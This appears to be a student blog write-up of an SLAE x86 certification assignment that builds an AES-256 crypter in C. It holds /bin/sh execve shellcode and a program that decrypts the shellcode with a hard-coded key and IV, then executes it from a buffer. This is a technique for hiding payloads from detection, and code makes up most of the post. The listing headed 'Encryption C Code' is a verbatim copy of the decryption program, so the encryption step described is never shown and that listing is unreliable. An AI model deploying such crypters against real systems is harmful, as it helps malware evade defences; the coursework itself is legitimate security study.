SLAEx86 - Assignment 7
The seventh and last assignment for the SLAEx86 certification includes the following requirements:
- Create a custom crypter like the one shown in the “crypters” video
- Free to use any existing encryption schema
- Can use any programming language
This was a fun assignment and required quite a bit of research on my part …
After a lot of research I decided to use the AES encryption schema using the OpenSSL libraries in C. The shellcode I chose to encrypt and decrypt was the /bin/sh execve shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Using this wiki I was able to build a successful encryption and decryption C program to successfully execute the shellcode. I hard-coded the encryption key and initialization vector for simplicity.
Encryption C Code:
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
int main (void)
{
/* A 256 bit key */
unsigned char key[] = "q6UoGP9cQvVvgcJAq6UoGP9cQvVvgcJA";
/* A 128 bit IV */
unsigned char iv[] = "gWSIpGZyAs3ecaZ2";
/* Message to be encrypted */
unsigned char encrypted[] = "\x13\x8a\x36\x5c\xd5\x86\x42\xab\x91\x09\x7f\xe5\x66\x10\x10\xd7\xaa\x06\x51\x96\x67\x4c\x08\x86\x17\xff\x93\x9c\xa4\x17\xfa\x6a";
/* Buffer for the decrypted text */
unsigned char decryptedtext[128];
int decryptedtext_len, encrypted_len;
encrypted_len = strlen(encrypted);
/* Initialise the library */
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);
/* Do something useful with the ciphertext here */
printf("[+] Encrypted Shellcode [+]:\n");
int i;
for(i=0; i < encrypted_len; i++) {
printf("\\x%02x", encrypted[i]);
}
printf("\n\n");
/* Decrypt the shellcode */
decryptedtext_len = decrypt(encrypted, encrypted_len, key, iv, decryptedtext);
/* Add a NULL terminator. We are expecting printable text */
decryptedtext[decryptedtext_len] = '\0';
/* Show the decrypted text */
printf("[+] Decrypted Shellcode [+]:\n");
int j;
for(j=0; j < decryptedtext_len; j++) {
printf("\\x%02x", decryptedtext[j]);
}
printf("\n\n");
printf("[+] Executing Shellcode [+]");
printf("\n\n");
/* Clean up */
EVP_cleanup();
ERR_free_strings();
int (*ret)() = (int(*)())decryptedtext;
ret();
//return 0;
}
void handleErrors(void)
{
ERR_print_errors_fp(stderr);
abort();
}
int decrypt(unsigned char *encrypted, int encrypted_len, unsigned char *key,
unsigned char *iv, unsigned char *decryptedtext)
{
EVP_CIPHER_CTX *ctx;
int len;
int decryptedtext_len;
/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();
/* Initialise the decryption operation */
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
handleErrors();
/* Provide the encrypted shellcode to be decrypted, and obtain the original output */
if(1 != EVP_DecryptUpdate(ctx, decryptedtext, &len, encrypted, encrypted_len))
handleErrors();
decryptedtext_len = len;
/* Finalise the decryption */
if(1 != EVP_DecryptFinal_ex(ctx, decryptedtext + len, &len)) handleErrors();
decryptedtext_len += len;
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return decryptedtext_len;
}
And successfully running the encryption program:
For decryption, I again hard-coded the encryption key, initialization vector, and the encrypted shellcode that was generated.
Decryption C Code:
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
int main (void)
{
/* A 256 bit key */
unsigned char key[] = "q6UoGP9cQvVvgcJAq6UoGP9cQvVvgcJA";
/* A 128 bit IV */
unsigned char iv[] = "gWSIpGZyAs3ecaZ2";
/* Message to be encrypted */
unsigned char encrypted[] = "\x13\x8a\x36\x5c\xd5\x86\x42\xab\x91\x09\x7f\xe5\x66\x10\x10\xd7\xaa\x06\x51\x96\x67\x4c\x08\x86\x17\xff\x93\x9c\xa4\x17\xfa\x6a";
/* Buffer for the decrypted text */
unsigned char decryptedtext[128];
int decryptedtext_len, encrypted_len;
encrypted_len = strlen(encrypted);
/* Initialise the library */
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);
/* Do something useful with the ciphertext here */
printf("[+] Encrypted Shellcode [+]:\n");
int i;
for(i=0; i < encrypted_len; i++) {
printf("\\x%02x", encrypted[i]);
}
printf("\n\n");
/* Decrypt the shellcode */
decryptedtext_len = decrypt(encrypted, encrypted_len, key, iv, decryptedtext);
/* Add a NULL terminator. We are expecting printable text */
decryptedtext[decryptedtext_len] = '\0';
/* Show the decrypted text */
printf("[+] Decrypted Shellcode [+]:\n");
int j;
for(j=0; j < decryptedtext_len; j++) {
printf("\\x%02x", decryptedtext[j]);
}
printf("\n\n");
printf("[+] Executing Shellcode [+]");
printf("\n\n");
/* Clean up */
EVP_cleanup();
ERR_free_strings();
int (*ret)() = (int(*)())decryptedtext;
ret();
//return 0;
}
void handleErrors(void)
{
ERR_print_errors_fp(stderr);
abort();
}
int decrypt(unsigned char *encrypted, int encrypted_len, unsigned char *key,
unsigned char *iv, unsigned char *decryptedtext)
{
EVP_CIPHER_CTX *ctx;
int len;
int decryptedtext_len;
/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();
/* Initialise the decryption operation */
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
handleErrors();
/* Provide the encrypted shellcode to be decrypted, and obtain the original output */
if(1 != EVP_DecryptUpdate(ctx, decryptedtext, &len, encrypted, encrypted_len))
handleErrors();
decryptedtext_len = len;
/* Finalise the decryption */
if(1 != EVP_DecryptFinal_ex(ctx, decryptedtext + len, &len)) handleErrors();
decryptedtext_len += len;
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return decryptedtext_len;
}
Executing the decryption program returned the original shellcode and executed the /bin/sh shell:
Success!


